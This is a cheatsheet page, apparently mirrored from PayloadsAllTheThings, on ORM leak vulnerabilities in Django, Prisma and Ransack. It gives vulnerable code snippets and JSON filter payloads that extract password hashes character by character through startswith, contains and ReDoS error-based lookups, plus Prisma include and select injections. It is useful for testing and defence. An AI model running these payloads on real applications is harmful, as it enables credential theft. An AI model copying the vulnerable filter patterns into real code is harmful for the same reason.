repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
index.mdMarkdown245 lines7.8 KiBsource raw download

title: "ORM Leak" topic: "ORM Leak" topicSlug: "orm-leak" sourcePath: "ORM Leak/README.md" sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/ORM%20Leak/README.md" sha: "3ac27901c711" isReadme: true#

ORM Leak#

An ORM leak vulnerability occurs when sensitive information, such as database structure or user data, is unintentionally exposed due to improper handling of ORM queries. This can happen if the application returns raw error messages, debug information, or allows attackers to manipulate queries in ways that reveal underlying data.

Summary#

Django (Python)#

The following code is a basic example of an ORM querying the database.

users = User.objects.filter(**request.data)
serializer = UserSerializer(users, many=True)

The problem lies in how the Django ORM uses keyword parameter syntax to build QuerySets. By utilizing the unpack operator (**), users can dynamically control the keyword arguments passed to the filter method, allowing them to filter results according to their needs.

Query filter#

The attacker can control the column to filter results by. The ORM provides operators for matching parts of a value. These operators can utilize the SQL LIKE condition in generated queries, perform regex matching based on user-controlled patterns, or apply comparison operators such as < and >.

{
  "username": "admin",
  "password__startswith": "p"
}

Interesting filter to use:

Relational Filtering#

Let's use this great example from PLORMBING YOUR DJANGO ORM, by Alex Brown

UML-example-app-simplified-highlight

We can see 2 type of relationships:

One-to-One#

Filtering through user that created an article, and having a password containing the character p.

{
  "created_by__user__password__contains": "p"
}

Many-to-Many#

Almost the same thing but you need to filter more.

Use multiple filters in the same request:

{
  "created_by__departments__employees__user__username__startswith": "p",
  "created_by__departments__employees__user__id": 1
}

Error-based leaking - ReDOS#

If Django use MySQL, you can also abuse a ReDOS to force an error when the filter does not properly match the condition.

{"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"}
// => Return something

{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}  
// => Error 500 (Timeout exceeded in regular expression match)

Prisma (Node.JS)#

Tools:

Example:

Example of an ORM leak in Node.JS with Prisma.

const posts = await prisma.article.findMany({
  where: req.query.filter as any // Vulnerable to ORM Leaks
})

Use the include to return all the fields of user records that have created an article

{
  "filter": {
    "include": {
      "createdBy": true
    }
  }
}

Select only one field

{
  "filter": {
    "select": {
      "createdBy": {
        "select": {
          "password": true
        }
      }
    }
  }
}

Relational Filtering#

One-to-One#

Many-to-Many#

{
  "query": {
    "createdBy": {
      "departments": {
        "some": {
          "employees": {
            "some": {
              "departments": {
                "some": {
                  "employees": {
                    "some": {
                      "departments": {
                        "some": {
                          "employees": {
                            "some": {
                              "{fieldToLeak}": {
                                "startsWith": "{testStartsWith}"
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

Ransack (Ruby)#

Only in Ransack < 4.0.0.

ransack_bruteforce_overview

CVE#

References#